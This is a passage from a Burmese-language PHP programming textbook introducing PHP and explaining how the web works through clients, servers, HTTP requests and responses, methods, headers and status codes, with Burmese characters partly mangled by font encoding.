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�ိမေတ်ဆက်

PHP  ဟာ  လက်ရှိ  Web  Development  ကဏ္ဍမှာ  လူသံုးအများဆုံး  Server-Side  Programming
Language  ဖြKစ်ပါတယ်။  Facebook, Wikipedia, Vimeo, Slack  စသည်ဖြKင့် အသံုးဖြပုသူ သန်းပေပါင်းများ
စွာရှိတဲ့ ဝဘ်ဆိုက်ပေတွကအစ PHP ကို အသံုးဖြပု Kန်တီးထားကြကဖြ]င်း ဖြKစ်ပါတယ်။ ဒီပေနရာမှာ ပေရှ့မဆက်
]င် Website နဲ့ Web Application ဆိုတဲ့အသုံးအနှုန်းနှစ်]ုကို အရင်ကြကိုပြပီး ရှင်းထား]ျင်ပါတယ်။

Chrome, Firefox, Edge စတဲ့ Web Browser ပေတွမှာ လိပ်စာ URL ရိုက်ထည့်ပြပီး အသံုးဖြပုရတဲ့ ဝဘ်ဆိုက်
ပေတွကို  နှစ်ပုိင်း]ွဲလ့ုိ  ရပါတယ်။  ပံုပေသ  အဓိပ္ပါယ်Kွင့်ဆို]ျက်  မရှိပေပမယ့်  အများအားဖြKင့်  သတင်း
အ]ျက်အလက်  ပေKာ်ဖြပယံုနဲ့  ပေKာင်ဖြKည့်ယံု  သက်သက်ပေလာက်ဆိုရင်  Website  လ့ုိပေ]ါ်ကြကပြပီး၊  အသံုး]ျ
လုပ်ပေဆာင်]ျက်ပေတွ ပါဝင်တယ်ဆိုရင်ပေတာ့  Web Application  လ့ုိ ပေ]ါ်ကြကပါတယ်။  Facebook  မှာ ပ့ုိစ်
ပေတွတင်လ့ုိရတယ်။ Messenger နဲ့ စာပ့ုိ စကားပေဖြပာလ့ုိရတယ်။ Vimeo မှာ ဗီွဒီယုိပေတွ တင်လ့ုိလုိ့ရတယ်။
ဒီလိုမျ ို း အသံုး]ျ လုပ်ပေဆာင်]ျက်ပေတွ ပါဝင်လာပြပီဆိုတဲ့အ]ါ Web Application လ့ုိ ပေ]ါ်ကြကတာပါ။ 

ဒီစာအုပ်မှာ Website နဲ့  Web Application ဆိုတဲ့အသုံးအနှုန်းနှစ်မျ ို းကို တစ်ပေနရာမှာတစ်မျ ို း မသုံးပေတာ့
ပါဘူး။ ဗမာလုိ ဝဘ်ဆိုက်လုိ့  ကျစ်ကျစ်လစ်လစ်  တစ်မျ ို းထဲပဲ  သံုးနှုန်းပေKာ်ဖြပသွားမှာပါ။ ဝဘ်ဆိုက်  ဆိုတဲ့
အသုံးအနှုန်းကိုပေတွ့ရင်  Website  ပေတွပေရာ၊  Web  Application  ပေတွပေရာ  အားလံုးကို  ဆိုလုိတယ်  လ့ုိ
မှတ်ယူ Kတ်ရှုပေပးပါ။

ဝဘ်ဆိုက်ပေတွ Kန်တီးတည်ပေဆာက်တဲ့ လုပ်ငန်းကို  Web Development လ့ုိ ပေ]ါ်ကြကတာပါ။ ပရိုဂရမ်းမင်း
ဘာသာ]ွဲ  တစ်]ုလ့ုိ  ဆိုနိုင်ပါတယ်။  Desktop  Solution  Development,  System  Software
Development,  Mobile  App Development  စသည်ဖြKင့်  တစ်ဖြ]ား  ပရိုဂရမ်းမင်း  ဘာသာ]ွဲပေတွ  ရှိကြကပါ



PHP – လိမေု - တိမေု - ရှင်း – မိတ်ဆက် 4

ပေသးတယ်။ ဒါပေတွအားလံုးကို စုစည်းပြပီး Software Development ဆိုတဲ့ ပင်မပေ]ါင်းစဉ် တစ်]ုထဲပေအာက်
မှာလည်း ထည့်သွင်း သတ်မှတ်နိုင်ပါပေသးတယ်။ ဒီအပေ]ါ်အပေဝါ် သတ်မှတ်]ျက်ပေတွကို စံ]ျနိ်စံညွှန်းတစ်]ု
နဲ့ အဓိပ္ပါယ်Kွင့်ဆို သတ်မှတ်ထားတာမျ ို း မဟုတ်လ့ုိ သင့်ပေတာ်သလုိ အမျ ို းမျ ို းပေ]ါ်ကြကတဲ့ သပေဘာပါ။

PHP ဟာ General Purpose Programming Language ပေ]ါ် Software Development လုပ်ငန်းမျ ို းစုံမှာ
သံုးမယ်ဆိုရင်  သံုးလ့ုိရတဲ့  Language  တစ်]ုဖြKစ်ပါတယ်။ ဒါပေပမယ့်  ထူးဖြ]ား]ျက်ကပေတာ့၊  စတင်တီထွင်
ကတည်းက PHP ကို Web Development လုပ်ငန်းအတွက် ရည်ရွယ်တီထွင်]ဲ့တာပဲ ဖြKစ်ပါတယ်။ တစ်ဖြ]ား
Programming Language ပေတွကိုလည်း Web Development လုပ်ငန်းအတွက် သံုးလ့ုိရပေပမယ့် အများစု
က PHP  လုိ Web Development အတွက်ဆိုပြပီး ဦးစားပေပး တီထွင်ထားကြကတာမျ ို း မဟုတ်ပါဘူး။ 

ဒါပေကြကာင့်  Programming Language  ပေတွ အများကြကီး ရိှတဲ့ထဲမှာ အပေကာင်းဆုံးလ့ုိ  ပေဖြပာလ့ုိ မရပေပမယ့်၊
Web Development   လုပ်ငန်းနဲ့ အသင့်ပေတာ်ဆုံး   Language   လ့ုိပေတာ့ ပေဖြပာလို့ ရနိုင်ပါတယ်။ PHP ရဲ့ မူလ
အစအမည်က Personal Home Page ဖြKစ်ပါတယ်။ အ]ုပေတာ့ PHP: Hypertext Processor လ့ုိ ပေ]ါ်ကြကပါ
တယ်။ Recursive Acronym ပေ]ါ် အတိုပေကာက်အမည်ကို အမည်အဖြပည့်အစုံမှာ ဖြပန်ထည့်သံုးတဲ့ ပေရးနည်း
ကို  သံုးထားတပါ။  ဒီပေရးနည်းနဲ့  သုံးကြကတဲ့တစ်ဖြ]ား  နည်းပညာပေတွ  အပေဖြမာက်အများ  ရိှကြကပါပေသးတယ်။
ဥပမာ GNU's Not Unix (GNU), WINE Is Not an Emulator (WINE) စသည်ဖြKင့်ပါ။

PHP  ဟာ  Server-side Programming Language  တစ်]ုဖြKစ်ပါတယ်။  Client-side Language  ဖြKစ်တဲ့
JavaScript  နဲ့  သပေဘာသဘာဝ  မတူပါဘူး။  သပေဘာသဘာဝ  မတူပေပမယ့်  ပေရးထုံးပေတွကပေတာ့
ပေတာ်ပေတာ်ပေလး ဆင်တူလ့ုိ JavaScript ပေလ့လာတတ်ကျွမ်းထားသူဟာ PHP ကို အလွယ်တစ်ကူ ပေလ့လာ
အသုံး]ျနိုင်မှာ ဖြKစ်ပါတယ်။ ဒီစာအုပ်မှာ စာKတ်သူက JavaScript ပေလ့လာတတ်ကျွမ်းထားပြပီးဖြKစ်တယ်လ့ုိ
သပေဘာထားပေKာ်ဖြပသွားမှာပါ။  ဒါပေကြကာင့်  အကယ်၍  လုိအပ်တယ်ဆိုရင်  JavaScript  အပေကြကာင်းကို
JavaScript လိမေုတိမေုရှင်း စာအုပ်မှာ ကြကိုတင်ပေလ့လာပြပီးမှ ဆက်လက်Kတ်ရှုသင့်ပါတယ်။

Server-side Programming ဆိုတာဘာလဲဆိုတာကိုပေတာ့ ပေနာက်တစ်]န်းမှာ ဆက်ကြကည့်ကြကပါမယ်။
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အခန်း (၁) – World Wide Web

PHP အပေကြကာင်း မပေဖြပာ]င် World Wide Web နည်းပညာအပေကြကာင်း အရင်ပေဖြပာK့ုိ လုိအပ်ပါတယ်။ အရင်
က World Wide Web နည်းပညာကို အတိုပေကာက် WWW လ့ုိ ပေ]ါ်ကြကပေပမယ့် အ]ုပေတာ့ မပေ]ါ်ကြကပေတာ့ပါ
ဘူး။  WWW  လ့ုိ အတိုပေကာက် အသံထွက်ရတာက  World Wide Web  လ့ုိ အဖြပည့်အစုံ  အသံထွက်ရတာ
ထက်ပေတာင် ပုိရှည်ပေနလုိ့ပါ။ အ]ပုေတာ့ အတိုပေကာက် Web လ့ုိပဲ ပေ]ါ်ကြကပါပေတာ့တယ်။

Web ဆိုတာ အင်တာနက်ကို အသံုးဖြပုပြပီး သတင်းအ]ျက်အလက်ပေတွ ဖြKန့်ပေဝ/ရယူနိုင်တဲ့ နည်းပညာတစ်
]ု ဖြKစ်ပါတယ်။ ဒီပေနရာမှာ Web နဲ့ Internet ဆိုတဲ့ နည်းပညာနှစ်]ုကို မပေရာK့ုိ လုိပါတယ်။ အင်တာနက်ဆို
တာ ကမ္ဘာအရပ်ရပ်မှာ ရှိတဲ့ ကွန်ပျူတာ Network များ အဖြပန်အလှန် ]ျနိ်ဆက်ထားတဲ့  Network များရဲ့
Network  ကွန်ယက်ကြကီး  ဖြKစ်ပါတယ်။  ဒီအင်တာနက်ကွန်ယက်ကို  အသုံးဖြပုပြပီး  သတင်းအ]ျက်အလက်
ဖြKန့်ပေဝ/ရယူနိုင်တဲ့  နည်းပညာပေပါင်း များစွာရှိပါတယ်။ ဥပမာ  -  အီးပေမးလ်ဟာ အင်တာနက်ကို  အသံုးဖြပု
ပြပီး စာပ့ုိ/စာယူ လုပ်နိုင်တဲ့ နည်းပညာတစ်]ုပါ။ FTP ပေ]ါ် အင်တာနက်ကို အသံုးဖြပုပြပီး Kုိင်ပေတွ ပေပးပ့ုိ/ရယူ
နိုင်တဲ့ နည်းပညာရှိပါတယ်။ Web ဆိုတာ အ့ဲဒီလုိ နည်းပညာပေပါင်းများစွာထဲက တစ်]ုအပါအဝင်ပါ။

ကပေန့အ]ျနိ်မှာ  Web Browser  ကိုKွင့်ပြပီး  ဝဘ်ဆိုက်ပေတွ ကြကည့်လ့ုိရသလုိ၊ အီးပေမးလ်လည်း ပ့ုိလ့ုိ  ရပေနပါ
တယ်။ Kုိင်ပေတွလည်း ပုိ့လ့ုိရပေနပါတယ်။ စာပေတွ၊ ရုပ်သံပေတွနဲ့လည်း ဆက်သွယ်လ့ုိရပေနပါတယ်။ ဒါပေကြကာင့်
Web = Internet  လ့ုိ ထင်]ျင်စရာ ဖြKစ်ပေနပါတယ်။ မဟုတ်ပါဘူး။  Web    ဆိုတာ    Internet    ကိုအသံုးဖြပုပြပီး  
သတင်းအ]ျက်အလက်ပေတွ ဖြKန့်ပေဝ  /  ရယူနိုင်တဲ့ နည်းပညာပေပါင်း များစွာထဲကတစ်]ု   သာဖြKစ်တယ်ဆိုတာ
ကို ရှင်းရှင်းလင်းလင်း သိဖြမင်ထားK့ုိ လုိအပ်ပါတယ်။
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Web နည်းပညာမှာ အပုိင်း (၃) ပုိင်း ပါဝင်ပါတယ်။ Client, Server နဲ့ Protocol တို့ပါ။

• Client ဆိုတာ လုိ]ျင်တဲ့ အ]ျက်အလက်ကို ဆက်သွယ်ပေတာင်းယူမယ့်သူ ပါ။
• Server ဆိုတာ ဆက်သွယ်ပေတာင်းယူလာတဲ့အ]ါ တုံ့ဖြပန်ပေပးပုိ့မယ့်သူ ပါ။
• Protocol  ကပေတာ့  Client  နဲ့  Server  တို့  အဖြပန်အလှန်ဆက်သွယ်K့ုိ  အသံုးဖြပုကြကမယ့်  ကြကား]ံ

ဆက်သွယ်ပေရးနည်းပညာ ပါ။

Client ဘက်ပုိင်းမှာ (၃) မျ ို း ထပ်]ွဲပြပီး ပေဖြပာ]ျင်ပါပေသးတယ်။ User, Device နဲ့ User Agent တို့ပါ။

• User ကပေတာ့ အ]ျက်အလက်ပေတွကို ရယူလုိသူ သင်ကိုယ်တိုင် ပါ။
• Device ကပေတာ့ သင်အသံုးဖြပုမယ့် ကွန်ပျူတာ၊ Kံုး၊ Tablet စတဲ့ စက်ပစ္စည်း ပါ။
• User  Agent  ကပေတာ့  သင့်ကိုယ်စား  အ]ျက်အလက်ပေတွကို  အမှန်တစ်ကယ်  သွားယူပေပးမယ့်

ပေဆာ့K်ဝဲ ပါ။  အများအားဖြKင့်  Web Browser  ကို  ပေဖြပာတာပါ။  Web Browser  မဟုတ်တဲ့  User
Agent ပေတွလည်း ရိှပါပေသးတယ်။

Server ဘက်ဖြ]မ်းမှာလည်း (၂) မျ ို း]ွဲလ့ုိ ရနိုင်ပါတယ်။ Server ကွန်ပျူတာ နဲ့ Server ပေဆာ့K်ဝဲ ပါ။ Server
ကွန်ပျူတာ တစ်]ုမှာ Server ပေဆာ့K်ဝဲ အမျ ို းမျ ို း ရှိပေနနိုင်ပါတယ်။ ဥပမာ Server တစ်]ုထဲကပဲ ဝဘ်ဆိုက်
ကို  ပေတာင်းယူလာရင်  ဖြပန်ပေပးနိုင်သလုိ၊  Kုိင်ကို  ပေတာင်းယူလာရင်လည်း  ဖြပန်ပေပးနိုင်တာမျ ို းပါ။  အ့ဲဒီလုိ
အလုပ်လုပ်နိုင်Kို့ဆိုရင် Server ကွန်ပျူတာ မှာ Web Server ပေဆာ့K်ဝဲနဲ့ FTP Server ပေဆာ့K်ဝဲတို့ ရှိပေနK့ုိလုိ
ပါတယ်။

ဆက်သွယ်ပေရး နည်းပညာမှာလည်း အမျ ို းမျ ို းရှိနိုင်ပေပမယ့် အ့ဲဒီပေလာက်ထိ ]ျဲ့ရင်ပေတာ့ ရှုပ်ကုန်မှာ စိုးရပါ
တယ်။ ဒါပေတွကို ပေဖြပာဖြပပေနတယ်ဆိုတာ အလုပ်လုပ်သွားပံုကို မျက်စိထဲမှာ ဖြမင်ကြကည့်နိုင်Kို့ ပေဖြပာပေနတာပါ။
ဒီလို  ဖြမင်ကြကည့်နိုင်မှ  နားလည်မှာ  မ့ုိလို့ပါ။  ဒါပေကြကာင့်  ဖြမင်ကြကည့်ရလွယ်ပေအာင်  ဆက်သွယ်ပေရးနည်းပညာ
ကပေတာ့ တစ်]ုထဲကိုပဲ သံုးကြကတယ် လ့ုိ ပေလာပေလာဆယ် မှတ်ထားပေပးပါ။  HTTP လ့ုိ အတိုပေကာက် ပေ]ါ်
ကြကတဲ့  Hyptertext Transfer Protocol  ကိုသံုးကြကတာပါ။  Client  နဲ့  Server  တို့က  HTTP  ကိုအသံုးဖြပုပြပီး
ဆက်သွယ်အလုပ်လုပ်ကြကပံုကို ပေနာက်တစ်မျက်နှာမှာ ဖြပထားတဲ့ ပံုပေလးနဲ့ ပေလ့လာကြကည့်ပါ။
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ကြကည့်ရလွယ်ပေအာင် အလုပ်လုပ်တဲ့အစီအစဉ်အတိုင်း 1, 2, 3 နံပါတ်စဉ်တပ်ဖြပထားပါတယ်။

• ပထမဦးဆုံး  User က User Agent ဖြKစ်တဲ့  Browser ထဲမှာ လုိ]ျင်တဲ့ အ]ျက်အလက်တည်ပေနရာ
လိပ်စာ   URL   ကို ရိုက်ထည့်   ရပါတယ်။

• Browser က URL ပေပါ်မူတည်ပြပီး သင့်ပေတာ်တဲ့ HTTP Request ကို တည်ပေဆာက်ပါတယ်။ HTTP
Request  မှာ  Header  နဲ့  Body ဆိုပြပီး နှစ်ပုိင်းပါပါတယ်။ နမူနာပံုရဲ့ နံပါတ်  (၁) မှာ နှစ်ပုိင်း]ွဲ ဖြပ
ထားတာကို သတိဖြပုပါ။ ပြပီးတဲ့အ]ါ Request   ကို ပေပးပ့ုိ   ပါတယ်။ 

• Server  က Request  လက်]ံရရှိတဲ့အ]ါ လုပ်စရာရှိတဲ့အလုပ်ကို လုပ်ပါတယ်။ နမူနာပုံအရ  User
လုိ]ျင်တာက  home.php  ဖြKစ်ပါတယ်။  home.php  ထဲမှာ  HTML  ကုဒ်ပေတွ၊  PHP  ကုဒ်ပေတွ၊
JavaScript ကုဒ်ပေတွ ပေပါင်းစပ် ပါဝင်ပေနပါတယ်။ <?= 1 + 2 ?> ဆိုတဲ့လုိင်းက PHP ကုဒ်ပါ။
Server က PHP   ကုဒ်ပေတွကို    Run   လုိက်ပါတယ်။ ဒီလုိ  Run လုိက်တဲ့အတွက်  1 + 2 ရဲ့ ရလဒ် 3
ထွက်ပေပါ်လာပြပီး ရလဒ်မှာ 3 ပဲ ပါဝင်ပေတာ့တာကို ပေတွ့ ရမှာဖြKစ်ပါတယ်။ PHP ကုဒ်ပေတွ ရလဒ်ထဲ
မှာ မကျန်ပေတာ့ပါဘူး။ အလုပ်လုပ်ပြပီးသွားပါပြပီ။  ဒီလုိသပေဘာမျ ို းနဲ့    Server    ဘက်ဖြ]မ်းမှာ အလုပ်  
လုပ်လ့ုိ   PHP   ကို   Server-side   နည်းပညာလ့ုိပေ]ါ်တာပါ  ။

• Server  က HTTP Response ကိုတည်ပေဆာက်ပါတယ်။ HTTP Response မှာလည်း Header နဲ့
Body ဆိုပြပီး နှစ်ပုိင်းရှိပါတယ်။ Body ပေနရာမှာ ပေစာပေစာကအလုပ်လုိ့ ရလာတဲ့ ရလဒ်ရှိပေနတာကို
ပေတွ့ရနိုင်ပါတယ်။ ပြပီးတဲ့အ]ါ Response   ကို ဖြပန်လည်ပေပးပ့ုိ   ပါတယ်။

• User Agent က Response ကိုလက်]ံရရှိတဲ့အ]ါ User ကြကည့်လို့ရပေအာင်ဖြပ ပေပးပါတယ်။
• ဆက်သွယ်မှုတစ်]ု ပြပီးဆုံးသွားပြပီဖြKစ်ပါတယ်။

Request/Response Headers
Client Request  မှာ  Header  နဲ့  Body ဆိုပြပီး နှစ်ပုိင်းရှိတယ်လုိ့ပေဖြပာထားပါတယ်။ Client  က Server  ကို
ဆက်သွယ်တဲ့အ]ါ အမှန်တစ်ကယ် ပေပးပ့ုိရမယ့် အ]ျက်အလက်အဖြပင် ဘယ်လုိပံုစံ လုိ]ျင်တာလဲဆိုပေတာ့
အ]ျက်အလက်ပေတွကိုပါ ထည့်သွင်းပေပးပ့ုိရပါတယ်။ ဒါပေကြကာင့် Header နဲ့  Body ဆိုပြပီး နှစ်ပုိင်း ရှိပေနတာ
ပါ။ Header   က ဘယ်လုိပံုစံလုိ]ျင်တာလဲဆိုတဲ့ လုိလား]ျက်ပေတွ   ဖြKစ်ပြပီးပေတာ့ Body   ကပေတာ့ ကိုယ့်ဘက်  
က ပေပးပ့ုိလိုတဲ့ အ]ျက်အလက်ပေတွ ဖြKစ်ပါတယ်။
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အလားတူပဲ  Server  က အပေကြကာင်းဖြပန်တဲ့  Response  မှာလည်း  Header  နဲ့  Body  နှစ်ပုိင်းရှိပါတယ်။
Header  က ဘယ်လုိပံုစံ ဖြပန်လည်ပေပးပုိ့ပါတဲ့  ဆိုတဲ့ သတင်းပ့ုိ]ျက်ပေတွဖြKစ်ပြပီးပေတာ့  Body  က အမှန်တစ်
ကယ် ပေပးပို့တဲ့ အ]ျက်အလက်ပေတွဖြKစ်ပါတယ်။

ပေပးထားတဲ့နမူနာပံုမှာ ပေလ့လာကြကည့်လိုက်ရင် Request Header မှာ GET /home.php HTTP/1.1
ဆိုတဲ့ အ]ျက်တစ်]ျက် ပါဝင်တာကို ပေတွ့ရနိုင်ပါတယ်။ GET ကို Request Method လ့ုိပေ]ါ်ပါတယ်။ ဆက်
သွယ်မှု ဖြပုလုပ်ရဖြ]င်း အပေကြကာင်းရင်းကို ဒီ  Request Method နဲ့ ထည့်သွင်းအသိပေပးပြပီး ဆက်သွယ်ရတာ
ပါ။ GET ရဲ့အဓိပ္ပါယ်က အ]ျက်အလက်ပေတွ ရယူလုိတယ် ဆိုတဲ့ အဓိပ္ပါယ်ဖြKစ်ပါတယ်။ တစ်ဖြ]ား Request
Method  ပေတရွှိပါပေသးတယ်။  POST,  PUT,  PATCH,  DELETE  စသည်ဖြKင့်ပါ။  ဒီပေနရာမှာပေတာ့  GET  နဲ့
POST နှစ်မျ ို းမှတ်ထားရင် လံုပေလာက်ပါတယ်။ ကျန်တဲ့  Request Method ပေတွအပေကြကာင်းကို  API  လိမေုတိမေု
ရှင်း စာအုပ်မှာ ဆက်လက်ပေလ့လာနိုင်ပါတယ်။ GET Request Method ကို အ]ျက်အလက်ပေတွ ရယူလုိတဲ့
အ]ါ  အသံုးဖြပုပြပီး  POST  Request  Method    ကိုပေတာ့  အ]ျက်အလက်ပေတွ  ပေဖြပာင်းလဲပေစလုိတဲ့အ]ါ  
အသုံးဖြပုပါတယ်။ ပေဖြပာင်းလဲတယ်ဆိုတာ အသစ်တိုးသွားတာလည်း ဖြKစ်နိုင်တယ်၊ ရိှပြပီးသားကို  ဖြပင်လုိက်
တာလည်း ဖြKစ်နိုင်တယ်၊ Kျက်လုိက်တာမျ ို းလည်း ဖြKစ်နိုင်ပါတယ်။

Request Method  ရဲ့ပေနာက်မှာ  URI  ပေ]ါ်လုိ]ျင်တဲ့  Resource  ရဲ့  လိပ်စာလုိက်ရပါတယ်။  Resource  ဆို
တာ HTML Document လည်း ဖြKစ်နိုင်တယ်၊  Image Kုိင်လည်းဖြKစ်နိုင်တယ်၊  JavaScript  ကုဒ်ပေတွလည်း
ဖြKစ်နိုင်တယ်၊  PDF  Kုိင်ပေတွလည်းဖြKစ်နိုင်တယ်၊  အမျ ို းမျ ို းဖြKစ်နိုင်ပါတယ်။  ဘာကိုလုိ]ျင်သည်  ဖြKစ်ပေစ
ပေတာင်းယူလ့ုိရပါတယ်။  Server  ပေပးနိုင်ရင်ဖြပန်ပေပးမှာဖြKစ်ပြပီးပေတာ့  မပေပးနိုင်ရင်  မပေပးနိုင်တဲ့အပေကြကာင်း
ဖြပန်ပေဖြပာပါလိမ့်မယ်။

ပေနာက်ဆုံးက HTTP/1.1 ကပေတာ့ အသံုးဖြပုလုိတဲ့ HTTP Version ဖြKစ်ပါတယ်။ Client နဲ့ Server အသံုးဖြပု
လုိတဲ့  Version  တူK့ုိလိုပါတယ်။ စကတည်းက  Client  က သူအသံုးဖြပုလုိတဲ့  Version  ကိုတစ်]ါထဲ ထည့်
ပေဖြပာလိုက်တဲ့သပေဘာပါ။

ဒီသပေဘာသဘာဝကို သိထားKုိ့ပဲလုိပါတယ်။ ကိုယ်တိုင်အပေသးစိတ် လုိက်စီမံK့ုိပေတာ့ ဒီအဆင့်မှာ မလုိအပ်
ပေသးပါဘူး။ အသံုးဖြပုပေနတဲ့ Browser က လုိအပ်တဲ့ Request မှန်ပေအာင် သ့ူဘာသာ ကြကည့်စီစဉ်ပေပးသွားပါ
လိမ့်မယ်။ ဒါကို လက်ပေတွ့ကြကည့်]ျင်ရင် အ]ုလုိကြကည့်လ့ုိရပါတယ်။
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နမူနာပံုအရ  Chrome Browser  မှာ  DevTools  ကိုKွင့်ထားပြပီး  URL Bar  မှာ  google.com  လ့ုိရိုက်ထည့်
လုိက်တာပါ။  DevTools  ရဲ့  Network Section  မှာ ကြကည့်လုိက်ရင် ရိုက်ထည့်လုိက်တဲ့ လိပ်စာပေပါ်မူတည်
ပြပီး  လုိအပ်တဲ့  ဆက်သွယ်မှုပေတွကို  Browser  က တန်းစီပြပီး  ဖြပုလုပ်ပေပးသွားတာကို  ပေတွ့ဖြမင်ရမှာ ဖြKစ်ပါ
တယ်။ ဒီပေနရာမှာ လုိ]ျင်တာကပေတာ့ Google Home Page တစ်]ုထဲကို လုိ]ျင်တာပါ။ ဒါပေပမယ့် Google
Home Page ကို ရယူပြပီး ပေKာ်ဖြပကြကည့်တဲ့အ]ါ Logo ပေတွ CSS ကုဒ်Kုိင်ပေတွ Font Kုိင်ပေတွ Script Kုိင်ပေတွ
လည်း လုိအပ်ပေနပေသးတာကို  Browser  က သိသွားတဲ့အတွက် လုိအပ်တဲ့ ဆက်စပ်အ]ျက်အလက်ပေတွကို
တစ်]ုပြပီးတစ်]ု ဆက်လက်ရယူပြပီး ဖြပည့်စုံပေအာင်အလုပ်လုပ်ပေပးသွားလို့ အ]ုလုိပေတွ့ဖြမင်ရတာပါ။

ပေပးပ့ုိသွားတဲ့  Request အပေသးစိတ်ကို သိ]ျင်ရင် နမူနာပံုရဲ့ နံပါတ် (၃) ဖြပထားတဲ့ ပေနရာက သက်ဆိုင်ရာ
အ]ျက်အလက်ကို  နှိပ်ကြကည့်လို့ရပါတယ်။  ဒီလုိနှိပ်ကြကည့်လုိက်တဲ့အ]ါ  နံပါတ်  (၄)  ဖြပထားတဲ့ပေနရာမှာ
Browser က ပေပးပို့သွားတဲ့ Request Header ပါ အ]ျက်အလက်များနဲ့ ဖြပန်လည်လက်]ံရရှိတဲ့ Response
Header ပါ အ]ျက်အလက်များကို အပေသးစိတ် ပေတွ့ဖြမင်ရမှာဖြKစ်ပါတယ်။

နမူနာအရ Request Header  မှာပါဝင်တဲ့  Request  Method  က GET  ဖြKစ်ပြပီး  User-Agent  လည်း ပါဝင်
တာကို  ပေတွ့ဖြမင်ရမှာ  ဖြKစ်ပါတယ်။  သတိဖြပုစရာအပေနနဲ့  Accept-Encoding  ဆိုတဲ့  Header  နဲ့အတူ
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Browser  က နားလည် အလုပ်လုပ်နိုင်တဲ့  Encoding Format  ပေတွကိုလည်း တန်းစီထည့်ပေပးထားတာကို
ပေတွ့ရမှာပါ။  နမူနာမှာ  ပေတွ့ ဖြမင်ရတဲ့  gzip  တို့  deflate  တို့ဆိုတာ  Compression  နည်းပညာပေတွပါ။
Browser က Google Home Page ကိုလုိ]ျင်တယ်၊ gzip (သ့ုိမဟုတ်) deflate နဲ့ ]ျုံ့ပြပီးမှ ပေပး]ျင်ရင်ပေပး
လ့ုိရတယ်လို့ ပေဖြပာလိုက်တာပါ။ ဒီပေတာ့ Server ကသာ ပေဖြပာထားတဲ့အတိုင်း ရလဒ်ကို]ျုံ့ပြပီးမှ ပေပးလုိက်ရင်
Size  ပေသးသွားလ့ုိ ဆက်သွယ်ရတာ ပုိဖြမန်သွားမှာပဲ ဖြKစ်ပါတယ်။ ဒါဟာ ဝဘ်ဆိုက်တစ်]ုရဲ့  အလုပ်လုပ်ပံု
ဖြမန်ဆန်ပေစK့ုိအတွက်  အပေရးပါတဲ့  သပေဘာသဘာဝတစ်]ုပဲ  ဖြKစ်ပါတယ်။  ဒီလုိပဲ  Header  မှာပါဝင်တဲ့
အ]ျက်အလက် တစ်]ု]ျင်းစီမှာ သ့ူအဓိပ္ပါယ်နဲ့သူ ရှိကြကပါတယ်။

Server  ဘက်ကဖြပန်လည်ပေပးပ့ုိတဲ့  Response  နဲ့ပက်သက်တဲ့  အပေသးစိတ်ကိုလည်း  အ့ဲဒီပေနရာမှာလည်း
ဆက်ပြပီးပေတာ့ ပေလ့လာကြကည့်လုိ့ ရနိုင်ပါတယ်။

နမူနာအရ  Server Response  မှာ  HTTP/1.1 301 Moved Permanently  လ့ုိ ပါဝင်တာကို  ပေတွ့ ဖြမင်ရမှာ
ဖြKစ်ပါတယ်။ HTTP/1.1 ကပေတာ့ အလုပ်လုပ်ပေနတဲ့ HTTP Version ဖြKစ်ပြပီး 301 Moved Permanently ကို
Status  Code  လ့ုိ  ပေ]ါ်ပါတယ်။  Server  က  ဆက်သွယ်မှုအပေဖြ]အပေနကို  ဒီလုိ  Status  Code  ပေတွနဲ့
အပေကြကာင်းဖြပန်ပါတယ်။  301 Moved Permanently  ကို သ့ူပေအာက်က Location Header  နဲ့ တွဲပြပီးပေတာ့
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ကြကည့်သင့်ပါတယ်။ ကျွန်ပေတာ်တို့ ရိုက်ထည့်လုိက်တာက google.com ပါ။ Server က ဖြပန်ပေဖြပာပေနတာက
google.com ဆိုတာ မရှိပေတာ့ဘူး (Move Permanently ပေနရာပေရ�့လုိက်ပြပီ)။ www.google.com ဖြKစ်သွား
ပြပီလ့ုိ  ပေဖြပာပေနတာပါ။  ဒီအ]ျက်အလက်ကို  လက်]ံရရှိတဲ့အ]ါ  Browser  က  အလိုအပေလ�ာက်
www.google.com  ကို  ဆက်လက်ရယူ  အလုပ်လုပ်ပေပးသွားလ့ုိ  ရလဒ်အမှန်ကို  ပေတွ့ ဖြမင်ရဖြ]င်း  ဖြKစ်ပါ
တယ်။ တစ်ကယ်ပေတာ့  ကျွန်ပေတာ်တို့ရိုက်ထည့်လုိက်တဲ့  လိပ်စာက နည်းနည်း  မှားပေနတာပါ။  မှားပေနပေပ
မယ့် မှန်တဲ့ပေနရာကို သိပေတာ့ ဖြပဿနာမရှိပေတာ့ပါဘူး။ 

ဒီပေနရာမှာ လိပ်စာက လံုးဝမှားပေနတာမျ ို းဆို ရင်ပေတာ့ 404 Not Found ဆိုတဲ့ Status Code ကို ဖြပန်လည်
ရရိှမှာ ဖြKစ်ပါတယ်။ Status Code ပေတွမှာ ပေနာက်ထပ် အပေတွ့ရများနိုင်တာပေတွကပေတာ့ 200 OK နဲ့  500
Internal  Server  Error  တို့ပဲဖြKစ်ပါတယ်။  အစစအရာရာအဆင်ပေဖြပတဲ့  ဆက်သွယ်မှုဆိုရင်  200  OK  ကို
ဖြပန်လည်ရရှိမှာဖြKစ်ပြပီး  Server  မှာ  Error  တစ်]ု]ရုှိပေနလ့ုိ အဆင်မပေဖြပရင်ပေတာ့  500 Internal Server  ကို
ဖြပန်လည်ရရှိမှာ ဖြKစ်ပါတယ်။ ဖြပန်လည်ရရှိတဲ့  Status Code ပေတွကို ဒီအဆင့်မှာ ကိုယ်တိုင်စီမံK့ုိ မလုိအပ်
ပေသးပါဘူး။  Browser  က  Status  Code  ပေပါ်မူတည်ပြပီး  သင့်ပေတာ်သလုိ  အလုပ်လုပ်ပေပးသွားမှာ  ဖြKစ်ပါ
တယ်။ API ပေတဘွာပေတွ Kန်တီးတဲ့အဆင့်ကို ပေရာက်လာပေတာ့မှာ ဒီ Status Code ပေတွကို ကိုယ်တိုင် စီမံရ
မှာပါ။ ဒါပေကြကာင့် ကျန်အသုံးများတဲ့  Status Code ပေတွကိပုေတာ့  API  လိမေုတိမေုရှင်း စာအုပ်ပေရာက်ပေတာ့မှသာ
ဆက်လက်ပေလ့လာလုိက်ပါ။

Response Header မှာပါတဲ့ အထဲက အပေရးကြကီးတာပေလး တစ်]ကုပေတာ့ Cache-Control Header ဖြKစ်ပါ
တယ်။  ဒီရလဒ်ကို  ]ဏသိမ်းထားလ့ုိ  ရတယ်လ့ုိ  ပေဖြပာထားတာပါ။  ဒါပေကြကာင့်  Browser  က  ရလဒ်ကို
